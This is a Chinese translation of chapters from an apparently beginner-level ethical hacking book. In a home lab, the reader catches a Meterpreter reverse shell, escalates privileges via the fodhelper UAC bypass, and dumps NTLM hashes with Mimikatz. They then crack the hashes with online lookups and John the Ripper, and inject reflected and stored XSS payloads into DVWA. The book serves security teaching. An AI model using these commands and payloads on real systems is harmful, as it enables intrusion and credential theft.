当你登录到计算机或网站时,唯一的方式来检查你输入的密码是否正确,就是对你输入的字符运行相同的哈希函数,然后将结果与存储在数据库中的密码哈希进行比较。

哈希函数有很多不同的类型,但它们有几个共同点:

  • 相同的输入文本总是会在特定的哈希函数中生成相同的哈希值;这是必要的,以便当你返回到网站时,可以将存储的密码哈希与输入的密码哈希进行比对。

  • 从特定哈希函数生成的每个哈希值都会有相同的长度,无论输入文本的长度是多少。由于一个单词的密码和五个单词的密码会产生相同数量的哈希字符,因此哈希函数隐藏了密码的长度。

  • 仅更改输入中的一个字符,就会导致哈希中的大量字符发生变化,因此,即使只添加一个字符到密码中,也会完全改变哈希。

偷窃 Windows 密码哈希

在本节中,我们将使用你的 Kali Linux 虚拟机从 Windows 10 虚拟机窃取密码数据。首先,我们将在 Windows 10 虚拟机中创建几个用户名和密码。接下来,我们将使用 Meterpreter 远程访问特洛伊木马重新进入 Windows 虚拟机。然后,我们将使用 Metasploit 中的 Mimikatz 工具窃取 Windows 10 受害机的密码哈希。

创建 Windows 用户

首先,我们来为 Windows 10 虚拟机添加一些用户,以便以后窃取它们的密码哈希值。

  1. 在 VirtualBox 中打开你的 Windows 10 虚拟机(使用 IEUserPassw0rd! 登录)。

  2. 在 Windows 搜索栏中输入 cmd,右键点击 命令提示符 应用,然后点击 以管理员身份运行。当 Windows 提示是否允许此应用对设备进行更改时,点击

  3. 使用我们在第二章的 Sticky Keys 黑客攻击中使用的相同命令,创建一个新用户帐户:

    C:\WINDOWS\system32> `net user ironman Jarvis /add`
    

    此命令添加一个名为 ironman 的用户,密码为 Jarvis

  4. 现在添加几个更多的用户帐户,密码的复杂度和长度各不相同:

    C:\WINDOWS\system32> `net user ana Password1 /add`
    C:\WINDOWS\system32> `net user ben P@$$w0rd! /add`
    C:\WINDOWS\system32> `net user carol CaptainMarvel /add`
    C:\WINDOWS\system32> `net user clark superman20 /add`
    C:\WINDOWS\system32> `net user kara SuperGirl7! /add`
    C:\WINDOWS\system32> `net user peter SpidermanRulez:) /add`
    
  5. 在执行完最后一个命令后,Windows 会警告你密码超过了 14 个字符(这是 2000 年之前 Windows 机器上对密码长度的限制!)。输入 Y 以告知 Windows 你仍然想使用这个长密码。

  6. 最后,为一个使用你名字的用户名创建一个强密码(由至少四个单词组成,加上一个数字或特殊符号),但请确保这是一个假的密码,不用于任何真实账户,因为我们将尝试破解它。以下是我的示例:

    C:\WINDOWS\system32> `net user` `bryson Don'tyouwishyourpasswordwastoughlikemine!` `/add`
    

你可能觉得这样的密码每次登录时打字很麻烦,但实际上它比你添加的大多数密码更容易记住,也更难猜测。

使用 Meterpreter 反向攻击 Windows 10

接下来,我们需要从 Kali 中反向攻击进入 Windows 10 虚拟机。

  1. 启动你的 Kali 虚拟机(用用户名和密码 kali 登录),点击 Kali 菜单按钮,选择 08 - Exploitation ToolsMetasploit Framework 打开 Metasploit 应用。

  2. msf6 命令提示符下,输入以下命令以再次启动 Kali Web 服务器:

    msf6 >`sudo service apache2 start`
    

    Web 服务器将提供包含你 Windows 恶意软件的 10.0.9.x/share 文件夹,以防你需要重新下载它。

  3. 在 Metasploit 中输入以下四个命令,监听 Meterpreter 木马回拨:

    msf6 >`use exploit/multi/handler`
    msf6 exploit(multi/handler) > `set PAYLOAD windows/meterpreter/reverse_tcp`
    msf6 exploit(multi/handler) >`set LHOST` `10.0.9.x`
    msf6 exploit(multi/handler) >`exploit -j`
    

    记得将 10.0.9.x 替换为你 Kali 虚拟机的 IP 地址(输入 ip addrip a 来查看 IP 地址)。

  4. 切换回你的 Windows 10 虚拟机。关闭 Windows Defender 的实时病毒保护:在 Windows 搜索栏中输入 virus,打开 病毒和威胁防护设置,点击 管理设置,然后将实时保护下的开关滑动到 关闭

  5. 在 Windows 10 虚拟机的管理员命令提示符中输入以下命令,禁用 Windows 防火墙:

    C:\Windows\system32> `netsh advfirewall set allprofiles state off`
    

    Windows 会回应 Ok.

  6. 找到你在第六章创建的 Meterpreter 木马可执行文件。这个文件应该仍然在你的 下载文档 文件夹中。如果 Windows Defender 已将其移除,打开 Edge 浏览器,访问 http://<10.0.9.4>/share/(如果你的 Kali 虚拟机 IP 地址与 10.0.9.4 不同,请替换为你的 Kali 虚拟机 IP 地址),并重新下载木马。再次检查你的病毒和威胁保护设置,确保实时保护已关闭。然后双击木马文件运行它。

  7. 切换回您的 Kali 虚拟机,您应该看到一个 Meterpreter 会话已经打开:

    msf6 exploit(multi/handler) > `[*] Sending stage (179779 bytes) to 10.0.9.5``[*] Meterpreter session 1 opened (10.0.9.4:4444 -> 10.0.9.5:50789) at 2020-06-17 15:40:38 -0400`
    

提升权限

窃取 Windows 密码需要管理员或系统级别的权限,这比您用于运行 Meterpreter 木马的 IEUser 帐户权限要高。借助 Metasploit,我们将通过另一个漏洞利用提升权限。这个过程被称为权限提升

我们将使用 Metasploit 对 Windows fodhelper漏洞的利用来获得系统级访问权限。Windows 使用一个名为fodhelper.exe的程序(fod是“按需功能”的缩写)来管理区域设置,例如您选择的语言的键盘布局。这个应用程序是黑客的一个好目标,因为它以更高的权限运行,能够跨多个应用程序(如您的网页浏览器、文字处理器和桌面)更改语言设置。

  1. 在您的 Kali 虚拟机中,确保您处于msf6命令提示符下,而不是与 Meterpreter 会话进行交互。如果您看到meterpreter >命令提示符,请输入background以返回到常规的msf6命令提示符:

    meterpreter > `background`[*] Backgrounding session 1...
    msf6 exploit(multi/handler) >
    
  2. msf6提示符下,输入粗体显示的五个命令:

    msf6 exploit(multi/handler) > `set PAYLOAD windows/meterpreter/reverse_tcp`
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > `use exploit/windows/local/bypassuac_fodhelper`
    [*] Using configured payload windows/meterpreter/reverse_tcp
    msf6 exploit(windows/local/bypassuac_fodhelper) >`set SESSION` `1`
    SESSION => `X`
    msf6 exploit(windows/local/bypassuac_fodhelper) > `set LHOST` `10.0.9.x`
    LHOST => `10.0.9.x`
    msf6 exploit(windows/local/bypassuac_fodhelper) > `exploit`
    

    更改set SESSION命令以匹配您的会话编号(如果不是 1 的话),并将LHOST的 IP 地址更改为与您的 Kali 机器匹配。

  3. 最后的命令exploit可能需要尝试几次。如果收到消息提示no session was created,请使用向上箭头并按回车键重新运行exploit命令。当成功时,您会看到Meterpreter session 2 opened,这意味着漏洞利用成功打开了第二个会话。您的命令提示符将返回到meterpreter >,表明您正在与一个新的 Meterpreter 会话进行交互。

    权限提升是您在本书中执行的最具技术挑战的黑客攻击,可能需要多次尝试。如果您不断看到“no session created”的消息,请检查您的 Windows 10 虚拟机,确保 Windows Defender 的病毒和威胁防护设置仍然关闭。如果仍然卡住,请尝试从头开始重新运行攻击。并且,在未来五年内,Windows 有很大的可能性修复fodhelper漏洞,那时您将不得不尝试不同的漏洞利用。请访问本书网站www.nostarch.com/go-hck-yourself/获取更新,或在最新版本的 Windows 上搜索“Metasploit 权限提升”。

  4. 在 Meterpreter 中输入getsystem以获取 Windows 10 虚拟机的系统级访问权限:

    meterpreter >`getsystem`
    ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
    
  5. 通过输入getuid检查是否获得了系统级访问权限:

    meterpreter >`getuid`
    Server username: NT AUTHORITY\SYSTEM
    

    Meterpreter 会回应您的用户 ID 是NT Authority\System,这表明您现在拥有系统级访问权限。

使用 Mimikatz 窃取密码哈希

既然我们已经获得了系统级别的权限,我们就准备好窃取密码哈希了。我们将使用 Mimikatz,一种能够从多个位置访问 Windows 密码的黑客工具,包括在计算机运行时直接从内存中访问密码。Metasploit 中的 Mimikatz 模块名为kiwi(编写 Mimikatz 的新西兰人 Benjamin Delpy 自称为 Gentil Kiwi)。

  1. 在 Meterpreter 提示符下输入use kiwi以加载 Mimikatz 工具:

    meterpreter > `use kiwi`
    
  2. Mimikatz 启动屏幕将在你的 Meterpreter 控制台中显示。现在我们可以像这样转储 Windows 10 虚拟机中所有用户的密码哈希:

    meterpreter >`lsa_dump_sam`
    
  3. Mimikatz 会通过列出它可以找到的所有用户和 Windows 密码哈希来回应:

    [+] Running as SYSTEM
    [*] Dumping SAM*--snip--*
    RID  : 000003f0 (1008)
    User : peter Hash NTLM: e262404bfe47aa34ba668187b4209380
    RID  : 000003f1 (1009)
    User : bryson Hash NTLM: 0a2b1c4f5d7ad37f9e2df24ff3ab4c48 
    

    密码哈希使用新技术局域网管理器(NTLM)格式,这是 Windows 计算机存储登录信息的一种方式,包括密码哈希。我们稍后会选择这种密码哈希格式来破解密码。

  4. 为了破解密码哈希,我们需要将其收集到一个文本文件中。高亮选择用户名和 NTLM 哈希,右键点击选择内容,并选择复制(在 Metasploit 控制台中不能使用 ctrl-C 复制;这是退出或关闭终端窗口中运行的进程的命令)。

  5. 通过点击 Kali 菜单按钮并选择收藏夹文本编辑器来打开 Mousepad 文本编辑器。按 ctrl-V 将从 Meterpreter 复制的文本粘贴到 Mousepad 中。

  6. 点击文件新建以打开第二个 Mousepad 窗口。将用户名和密码哈希值按用户名``:``哈希的格式复制并粘贴到这个新文档中,每行一个用户名和哈希值,用冒号分隔,如图 7-1 所示。确保没有额外的空格。f07001

    图 7-1:将用户名和 NTLM 哈希值复制并粘贴到新的文本文件中

    跳过没有哈希值的用户或任何 Windows 创建的帐户,如 sshd、Guest 和 DefaultAccount。你只需要关注真正的用户和管理员帐户,例如 IEUser、Administrator 以及你在本章早些时候创建的用户帐户。

  7. 将文件保存为Windows_hashes.txt,存放在你的文档文件夹中。

破解密码

现在我们已经有了从 Windows 虚拟机窃取的用户名和密码哈希文档,我们可以开始破解密码了。黑客有几种不同的密码破解方法。字典攻击使用常见密码的列表,逐一哈希每个密码,看看是否与要破解的哈希匹配。字典攻击速度很快,但仅对相对简单的密码有效。暴力破解攻击系统地尝试每一种字符组合,即使是高度复杂的密码也能破解,直到达到一定长度。这使得暴力破解攻击非常彻底,但极为缓慢。掩码攻击是一种特殊的暴力破解攻击,当我们知道密码的一部分并且只需要暴力破解几个字符时,会使用这种攻击。

我们将尝试几种密码破解方法。正如你所看到的,互联网和 Kali Linux 都有资源可以轻松破解密码。首先,你将搜索一个免费的在线密码数据库来破解常见的密码哈希。然后,你将使用 Kali 中的许多密码破解工具之一——John the Ripper,来破解更多的哈希。你将首先使用字典攻击来破解较简单的密码,然后使用掩码攻击完成破解。

免费在线密码数据库

Hashes.com 是一个网络服务,允许你在一个包含 数十亿 已破解哈希的数据库中搜索密码。每次你对一个特定的密码进行哈希处理时,你都会得到相同的哈希值,因此数据库可以存储每个密码及其哈希值。当你搜索哈希时,数据库会返回未加密的密码(如果该密码存在于数据库中)。

  1. 在你的 Kali 虚拟机中,打开 Firefox 浏览器并访问 hashes.com/decrypt/hash/

  2. 将来自 Windows_hashes.txt 文件的用户名和密码哈希粘贴到 Hashes 文本框中。然后删除用户名,只保留哈希值,如 图 7-2 所示。

  3. 点击 提交并搜索 以搜索 Hashes.com 数据库。片刻之后,你应该会看到一份已破解密码的列表:

    64f12cddaa88057e06a81b54e73b949b:Password1
    85f4aaf6ac4fac1d9b55e6b880bcda3e:CaptainMarvel
    920ae267e048417fcfe00f49ecbd4b33:P@$$w0rd!
    d6566eae841e523df8fd96a42bcbd4ac:superman20
    fc525c9683e8fe067095ba2ddc971889:Passw0rd!`--snip--`
    

    f07002

    图 7-2:Hashes.com 接收你的 NTLM 哈希作为输入,并输出它在数据库中找到的任何已破解密码。

Hashes.com 找到了五个密码!由于它不断向数据库中添加新密码,它可能能够破解我们在本书中使用的更多简单密码。

我们已经通过一个免费的在线查找工具从我们的 Windows 虚拟机中恢复了至少五个密码——攻击者可能只需要 一个 用户名和密码就能入侵网络、公司或政府机构。这就是为什么组织中的 每个用户 都应该选择更长、更难猜测的密码。

John the Ripper

John the Ripper,通常缩写为 JtR 或简直接称为 John,是最古老的密码破解工具之一;自从第一版 John 发布已经超过 20 年。John 被包含在 Kali Linux 中,位于 Kali 菜单下的 05 - 密码攻击菜单中。

John 运行于命令行终端,但还有一个版本的 John,叫做 Johnny,具有更易操作的图形用户界面(GUI)。Johnny 并未包含在 Kali 的最新版本中。要安装它,请打开一个新的终端窗口并输入以下两个命令:

kali@kali:~$ **sudo apt update**
kali@kali:~$ **sudo apt install johnny**

在输入第一个命令后,你可能需要输入你的密码(kali)。安装完成后,Johnny 通常会出现在 05 - 密码攻击菜单中,但你也可以通过输入 johnny 在终端中运行它。

我们将使用 Johnny 中的两种方法来破解更多被盗的 Windows 密码。我们将尝试字典攻击来破解常见密码,并使用掩码攻击来破解具有变化的密码。你在 Johnny 中做的每一项操作,也可以通过终端中的 John 来完成;在使用 Johnny 之后,你可以查找 John 的命令并尝试它们,理解整个过程。

字典攻击

我们将首先尝试字典攻击。字典攻击,也叫字典攻击,是通过将我们要破解的哈希与提供的常见密码列表中的每个密码进行比对。如果找到了匹配项,我们就破解了该密码。

Kali 包含几个内置的字典文件,包括 RockYou 字典。RockYou 是一家公司,在 2009 年因一个保护不力的 Web 应用程序而泄露了 3200 万个用户的密码。这份由 RockYou 泄露的明文密码列表仍然是检查密码安全性的最佳免费字典之一。

  1. 要访问 RockYou 字典文件,在终端窗口中输入以下命令:

    kali@kali:~$ `sudo gunzip /usr/share/wordlists/rockyou.txt.gz`
    

    该命令将提取单词列表并保存为rockyou.txt文件,放置在/usr/share/wordlists文件夹中,以便在 John 和 Johnny 中作为字典使用。

  2. 通过点击 Kali 菜单按钮并选择05 - 密码攻击johnny来打开 Johnny。

  3. 点击打开密码文件打开密码文件(PASSWD 格式)。找到我们之前创建的Windows_hashes.txt文件,如图 7-3 所示,并选择它以加载密码哈希文件。f07003

    图 7-3:在 Johnny 中打开Windows_hashes.txt密码文件

  4. 在 Johnny 中点击左侧的选项,然后在选项窗口中的攻击模式下点击字典选项卡。在“字典文件:”文本框中输入/usr/share/wordlists/rockyou.txt,如图 7-4 所示。f07004

    图 7-4:通过 Johnny 加载rockyou.txt字典文件

  5. 仍在选项窗口中,在会话详情下,从当前哈希格式:下拉列表中选择NT,如图 7-5 所示。这告诉 Johnny,密码哈希采用 NTLM 格式。f07005

    图 7-5:选择NT作为输入密码哈希格式

  6. 点击左侧的密码,然后点击顶部的开始新攻击

几乎瞬间,Johnny 将显示几个破解的密码,如图 7-6 所示。(如果没有显示,请确保在步骤 5 中已将当前哈希格式更改为 NT。)

f07006

图 7-6:Johnny 几乎不费时间就使用我们捕获的哈希值破解了五六个密码。

我们花了几分钟来捕获密码哈希,但用了不到一秒钟的时间,就通过使用 RockYou 字典进行字典攻击破解了前五六个密码。这就是恶意黑客需要做的全部工作,如果你使用的是简单的一到两个单词密码,并加上一些数字和符号的话。

RockYou 字典中包含了我们为用户设置的多个密码。其他一些密码复杂到没有出现在该字典列表中。让我们看看如何使用 Johnny 中的另一种选项——掩码攻击,破解一两个密码。

掩码攻击

掩码攻击 从部分信息开始,比如一个旧密码,并通过添加字符来尝试破解类似的密码。你或你认识的人很有可能通过在旧密码后添加数字或符号来重用密码,比如 badpassword20!。这种行为比你想象的更为常见,这使得许多密码容易受到掩码攻击。

如果攻击者获得了某人密码的一部分,掩码攻击同样有效。想象一下 Kara,我们的 Windows 用户之一,在 CatCo Worldwide Media 工作。一天,在经过 Kara 的桌子时,一个爱打听的同事看到 Kara 丢弃在垃圾桶里的便签。虽然它被撕破了,但看起来上面写着她密码的一部分:SuperGir(见 图 7-7)。

社会工程师称这种行为为 垃圾桶翻找——字面意思就是在某人垃圾中寻找有用的信息,比如银行对账单、信用卡优惠或写在信封背面或便签上的密码。

f07007

图 7-7:Kara 撕破的便签,上面似乎写着她密码的一部分

在 Johnny 中,我们可以在 SuperGir 后面添加通配符字符,尝试猜测 Kara 的密码的其余部分是什么。通配符 是一个占位符,可以被字母、数字或符号中的任何一个替代。我们可以使用通配符字符 ?u 代表大写字母,?l 代表小写字母,?d 代表数字(0–9),?s 代表特殊符号,或者 ?a 代表所有可打印字符(字母、数字、标点符号和特殊字符)。

我们可以使用我们已知的密码部分(SuperGir),加上一些通配符字符,来创建一个掩码。掩码 通过填入我们已经知道的字符(在这个例子中是前八个字符:SuperGir),减少我们需要尝试的密码组合数量。我们不知道 Kara 的密码是否以数字、字母或特殊字符结尾,所以我们可以用 SuperGir?a 作为掩码来开始。

  1. 在 Johnny 中,点击左侧的 Options,点击 Mask 标签,并在 Mask: 文本框中输入 SuperGir?a

  2. 点击顶部的 Start new attack。然后,点击左侧的 Passwords,查看是否破解了 Kara 的密码。你应该会看到,SuperGir 后面的单个通配符字符并未能够破解密码。

  3. 返回掩码标签页,输入两个通配符字符,SuperGir?a?a,然后再次尝试。

  4. 还是没有结果?输入第三个通配符字符,SuperGir?a?a?a,如图 7-8 所示。然后再次点击开始新攻击

f07008

图 7-8:使用掩码攻击——在便签上找到的部分密码后添加通配符字符——来破解卡拉的密码

这次,窗口底部的进度条在图 7-8 中应该会改变,显示约翰尼成功破解了一个额外的密码。再次点击密码。现在,在kara旁边,你将看到她的密码SuperGirl7!,如图 7-9 所示。

f07009

图 7-9:密码掩码SuperGir?a?a?a成功破解了卡拉的密码(SuperGirl7!),不到一秒钟!

即使我们只有卡拉密码的一部分,我们仍然可以使用掩码攻击来猜测她的完整密码。约翰尼只用了不到一秒钟就尝试了成千上万种可能性,从SuperGir000SuperGirl7!,一一尝试。这意味着,如果你只是改变密码的数字和符号(例如在开头、中间或结尾),一个黑客如果发现你以前的密码,就可以在几秒钟内使用约翰尼或类似的工具猜出你当前的密码。

你也可以使用掩码攻击来破解彼得的密码。输入一些通配符字符——从SpidermanRu?a开始,然后是SpidermanRu?a?a,以此类推,直到破解完整密码。最后一轮可能需要五到六分钟,因为每增加一个字符,破解的复杂度会呈指数级增加(3 个通配符不到一秒,4 个通配符需要三到四秒,5 个通配符需要五到六分钟,6 个通配符需要近九小时,而 14 个通配符则需要几千年!)。

破解更长密码所需时间的指数增长正是为什么每个人都应该使用长密码的原因。无论我们运行约翰尼多少年,都不太可能破解我们设置的长密码,即你创建的最终密码。长密码是我们可以用来防止黑客进入账户的技巧之一。

使用更安全的密码

你可以通过几个小变化让密码变得如此复杂,以至于连专业人士也难以破解。首先,一般来说,密码越长,它就越安全。要创建一个强密码短语,可以选择四个或更多随机、无关的单词并将它们串联在一起。为了让密码短语几乎无法破解,可以添加一些数字或特殊字符。

除了常规键盘特殊字符如 !@#$,你还可以添加来自不同语言或字母表的特殊字符。即使你使用的是较短的密码,而不是一个密码短语,添加来自其他语言的特殊字符也能让密码变得更难破解。

让我们来看看如何在不同操作系统中实现这一操作。

  1. 在 Windows 上,按住 ALT 键并同时在数字小键盘上输入数字,然后松开 ALT 键。例如,按住 ALT 键并在数字小键盘上输入 0214;当你松开 ALT 键时,字符 Ö(一个带有变音符号的大写 O)将会出现。可以在网上搜索“Windows ALT 代码”来查找你想要使用的字符。注意,某些键盘可能需要你专门使用左侧的 ALT 键。在没有数字小键盘的笔记本上,你可以按 Windows 键加上句点键(Windows-.)来插入表情符号或其他符号。

  2. 在 Linux 上,按 ctrl-shift-U;松开(屏幕上会看到一个带下划线的 u);输入你想要的字符的 Unicode 十六进制值,例如 d6(或者对于需要四个数字的系统,输入 00d6)来得到 Ö 字符,然后按空格键或回车键。可以在网上搜索“Unicode 字符代码”来找到更多选项。

  3. 在 macOS 上,按 CONTROL-COMMAND-SPACEBAR 打开字符查看器。输入 u+d6 来显示 Ö 字符。要插入该字符,可以按下方向键选择它然后按 ENTER,或者直接用鼠标点击它。Linux 上的相同 Unicode 字符代码也适用于 macOS 的字符查看器,只需在十六进制代码前加上 u+

  4. iPhone 或 Android:在虚拟键盘上按住字母 O,直到弹出窗口出现 Ö 字符和其他选项。你无法在不安装应用或选择备用键盘布局的情况下访问所有 Unicode 字符,但大多数元音字母和一些辅音字母的长按会为你提供足够的选项,以增强你的密码强度。

当然,你可能无法记住超过一个或两个带有特殊字符的长密码。密码管理器可以减轻负担,通过为大多数账户设置长且随机的密码并安全地保存它们。另外,你应当在提供两步验证的情况下启用它。通过这一功能,即便攻击者破解了你的某个密码,他们也可能无法访问你的账户。我们将在第十一章中更详细地介绍这些工具。

重点总结

在本章中,你学习了攻击者如何通过 Mimikatz 和 Metasploit 在网络上窃取 Windows 密码哈希。一旦攻击者通过恶意软件侵入你的计算机,他们就可以(并且通常会)搜索系统中的密码或其他敏感数据。然后你看到了黑客如何通过免费在线密码数据库或在 John the Ripper 中进行字典攻击轻松破解许多密码哈希。你还学会了如何通过掩码攻击破解更复杂的密码,即在旧密码或不完整密码中添加一些通配符字符。

最后,你学到了一些保护自己免受本章密码攻击的技巧。以下是一些可以终生改变你密码习惯的做与不做的简短总结:

  • 不要在多个账户之间使用相同的密码。

  • 不要通过在密码的末尾(或中间、开头)添加数字或符号来重复使用密码。

  • 不要将密码写下来,或将其存储在明文文档或电子表格中。

  • 使用包含一个或多个特殊字符的长密码短语。

  • 使用密码管理器和多因素认证。

这些建议将使你的在线生活比普通人更轻松,也更安全。然而,攻击者不必访问你的计算机就能窃取密码;他们可以通过互联网从网页应用和服务器中窃取密码和其他信息。在下一章中,我们将学习如何通过攻击一个脆弱的 Web 服务器,在我们的虚拟实验室中进行实际操作。

不过,首先请查看清单 7-2,看看你是否成功破解了章节开始时的密码!

359878442cf617606802105e2f439dbc Wow!
63191e4ece37523c9fe6bb62a5e64d45 Great
9dddd5ce1b1375bc497feeb871842d4b job
4d1f35512954cb227b25bbd92e15bc7b cracking
e6071c75ea19bef227b49e5e304eb2f1 passwords!

清单 7-2:来自清单 7-1 的破解密码

第八章:网页黑客攻击

攻击一台单独的计算机可能会获得少量的用户名、密码和其他数据。但攻击一台网页服务器则可能让攻击者获得 数百万 个用户名和密码,从而可以在银行网站、电子邮件服务器等进行测试。

2019 年,Quest Diagnostics 由于其网页支付页面的漏洞遭到攻击,泄露了 1200 万患者的记录。2017 年,信用局 Equifax 未能保护 1.5 亿人的信用信息,包括出生日期、社会安全号码和地址。2018 年,万豪酒店遭到黑客攻击,导致 5 亿名旅客的数据泄露,包括信用卡号和护照信息。目前为止,最大的数据泄露事件是 2013 年对搜索引擎和电子邮件平台 Yahoo! 的攻击,泄露了 30 亿用户的账户信息,包括电子邮件地址和密码。

在本章中,你将看到恶意黑客如何仅通过网页浏览器和几行代码攻击网页应用程序。你还将学习一些安全专家如何防范网页攻击的常见方法,保护数百万(甚至数十亿!)人的数据免受网络犯罪分子的侵害。

Metasploitable 虚拟机

我们希望安全、道德地进行网页黑客攻击练习,因此我们将在虚拟黑客实验室中搭建一个网页服务器。Metasploit 的创建者还专门为训练目的创建了一个故意存在漏洞的网页服务器,称为 Metasploitable。我们将使用我为你定制的该服务器版本。现在,让我们将它添加到你的虚拟黑客实验室中:

  1. 访问www.nostarch.com/go-hck-yourself/并点击链接下载 Metasploitable2-gohack.ova 文件到你的主机计算机。

  2. 双击下载的文件,在 VirtualBox 中打开。将出现导入虚拟设备窗口,如图 8-1 所示。点击导入f08001

    图 8-1:将 Metasploitable2-gohack.ova 文件导入到 VirtualBox

  3. 在 VirtualBox 虚拟机管理器中选择 Metasploitable2 虚拟机并点击设置

  4. 转到网络标签,确保勾选了启用网络适配器框,并且显示为“连接到:NAT 网络”和“名称:PublicNAT”,就像我们的其他虚拟机一样。正确的设置如图 8-2 所示。f08002

    图 8-2:确保 Metasploitable 虚拟机连接到 PublicNAT 网络

  5. 点击确定保存这些网络设置。你的新 Metasploitable 虚拟机现在已经准备好运行!

  6. 在 VirtualBox 管理器中选择 Metasploitable,点击启动。由于 Metasploitable 是一台网页服务器,而不是桌面计算机,因此它使用基于文本的界面而非图形用户界面。如果界面太小而无法读取,请前往虚拟机的菜单栏,选择视图虚拟屏幕 1缩放到 200%(或适合你屏幕的其他值)。

  7. 输入用户名msfadmin和密码msfadmin。在 Metasploitable 的终端窗口中,密码在输入时不会显示,但如果输入正确,提示符会从登录界面切换到如下所示的 shell 提示符:

    msfadmin@metasploitable:~$
    
  8. 输入以下命令:

    msfadmin@metasploitable:~$ `ip a`
    

    Metasploitable 将返回其 IP 地址(在我的情况下是10.0.9.8):

    `--snip--`
    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 08:00:27:11:23:67 brd ff:ff:ff:ff:ff:ff inet 1 `10.0.9.8`/24 brd 10.0.9.255 scope global eth0 `--snip--`
    

    请记下 IP 地址 1。你将需要它从其他虚拟机访问 Metasploitable 虚拟机的网页服务器。

从浏览器进行网页攻击

网络攻击非常常见,因为它对攻击者来说具有回报(记住,对一个网页服务器的成功攻击可以一次性获取数百万用户的信息),网页服务器始终在线并连接到互联网,而攻击者只需要一个网页浏览器即可进行攻击。为了了解其工作原理,我们将在 Windows 10 虚拟机的 Edge 浏览器中攻击 Metasploitable 服务器。

在 VirtualBox 管理器中启动你的 Windows 10 虚拟机。使用凭证IEUserPassw0rd!登录。打开 Edge 浏览器(它是任务栏上的蓝色e漩涡图标),并在地址栏中输入你的 Metasploitable 虚拟机的 IP 地址。你将看到 Metasploitable 2 的主页,如图 8-3 所示。

f08003

图 8-3:在 Windows 10 虚拟机中输入 Metasploitable 虚拟机的 IP 地址,查看此主页。

Metasploitable 2 包含五个易受攻击的网页应用程序,但我们只关注其中一个:DVWA,或者叫做 Darn Vulnerable Web App(极其脆弱的网页应用)。这个故意存在漏洞的开源网页应用程序是为了帮助网页开发人员和安全专业人员学习基本的黑客技术,以及如何保护网页应用免受这些攻击。DVWA 有不同的漏洞级别,用户可以在不同的安全程度下尝试攻击应用程序。我们将安全级别设置为低,以模拟没有额外安全保护的网页应用程序。

  1. 点击 Metasploitable 2 主页上的DVWA链接。你将看到应用程序的登录界面,如图 8-4 所示。

  2. 输入用户名admin和密码password以访问 DVWA。f08004

    图 8-4:使用我们的凭证登录 DVWA 界面

  3. 点击左侧的DVWA 安全性

  4. 在脚本安全部分,将安全级别设置为并点击提交,如图 8-5 所示。f08005

    图 8-5:将 DVWA 脚本安全级别设置为低

现在我们准备在 DVWA 上尝试两种网络攻击:跨站脚本攻击和 SQL 注入攻击。

发起跨站脚本攻击

跨站脚本(XSS)攻击中,黑客通过一个本应接受普通文本输入的字段(如登录表单或搜索框)将恶意代码注入网页。XSS 攻击也被称为代码注入攻击,因为黑客能够将他们自己的代码“注入”到网页应用程序中。我们将使用两种网页语言——JavaScript 和超文本标记语言(HTML)——来注入脚本到 DVWA 中。

要测试一个 Web 应用程序的 XSS 漏洞,只需要一个简单的 JavaScript 命令:

alert("You've been hacked!");

该命令弹出一个警告框,显示“你已被黑客攻击!”为了将其注入网页,我们需要将 JavaScript 代码包裹在正确的 HTML 标签中,即<script></script>,如下所示:

<script>alert("You've been hacked!");</script>

HTML 中的<script>标签告诉网页,脚本(一段简短的代码),通常是 JavaScript,开始了。</script>标签称为结束标签,它让网页知道脚本代码已经结束。

反射型跨站脚本(XSS)

反射型 XSS 攻击利用那些直接将用户输入反射回网页的页面,例如一个要求输入姓名和地址并在页面上显示以确认输入是否正确的订单表单。攻击者利用反射型跨站脚本将恶意 HTML 或 JavaScript 代码注入到未加保护的 Web 应用程序中。让我们来试一下!

  1. 在你 Windows 10 虚拟机中的 DVWA 里,点击左侧的反射型 XSS,打开漏洞页面:反射型跨站脚本(XSS)。

    本页面的设计目的是将你在“你叫什么名字?”文本框中的输入反射回页面,显示在Hello字样后面。例如,如果你输入名字Bryson,页面将显示Hello Bryson

  2. 不要输入你的名字,而是将上一节中的 HTML/JavaScript 命令输入到名字文本框中,如图 8-6 所示:

    `<script>alert("You've been hacked!");</script>`
    

    f08006

    图 8-6:通过将 HTML 和 JavaScript 输入到文本框中攻击反射型 XSS 页面

  3. 点击提交,网页将重新加载,弹出“你已被黑客攻击!”的消息,如图 8-7 所示。f08007

    图 8-7:受影响的网页弹出一条消息,表示我们已被黑客攻击!

通过将一行 HTML 和 JavaScript 结合起来并输入到 DVWA 中未加保护的文本框里,我们将代码注入到网页中。恶意攻击者可以使用相同的技术,欺骗用户相信他们的计算机真的遭到攻击,并让他们拨打一个免费的“技术支持”电话。在这种常见的骗局中,犯罪分子租用一个呼叫中心,获取焦虑受害者的信用卡信息,并收取虚假的计算机服务费用。

存储型跨站脚本(XSS)

大多数网站使用数据库存储用户输入或经常变化的信息,如产品信息或客户数据。如果攻击者将恶意代码注入到与数据库关联的网页表单中,这段恶意代码就会存储在数据库里,成为网页的永久一部分。这种类型的攻击被称为存储型 XSS 攻击,它确保每次有人访问受影响的网页时,恶意代码都会运行。相比之下,我们的反射型 XSS 攻击并未永久改变网页,因为我们的注入代码并没有被保存到数据库中。接下来我们将尝试一个存储型 XSS 攻击。

  1. 点击左侧 DVWA 菜单中的XSS 存储。你将看到一个类似留言簿的应用程序,允许用户在页面上保存自己的姓名和短消息。

  2. 不要用你的名字和一条友好的留言来签名留言簿,而是仅输入你的姓名。然后,在消息文本框中输入我们希望存储在此页面数据库中的 XSS 攻击代码,<script>alert("你已被黑客攻击!");</script>,如图 8-8 所示。f08008

    图 8-8:在 DVWA 中将我们的恶意脚本存储到 XSS 存储页面

  3. 点击签名留言簿,你将看到警报弹出,如图 8-9 所示。f08009

    图 8-9:我们的 JavaScript 警报会告诉每个访问者:“你被黑客攻击了!”

与反射型攻击不同,每当有人访问存储型跨站脚本(XSS)留言簿页面时,这个警报都会弹出。你已经利用数据库驱动的网页,在 DVWA 网站上永久存储了恶意脚本。

然而,JavaScript 的功能远不止弹出警报消息。我们可以更改浏览器的window.location,将用户重定向到一个完全不同的网站:

  1. 重新加载 XSS 存储的网页并点击确定关闭警报消息弹窗。

  2. 这次,像往常一样输入你的姓名,然后在消息文本框中输入以下代码,如图 8-10 所示:

    `<script>window.location.href="https://www.nostarch.com/go-hck-yourself";</script>`
    

    f08010alt

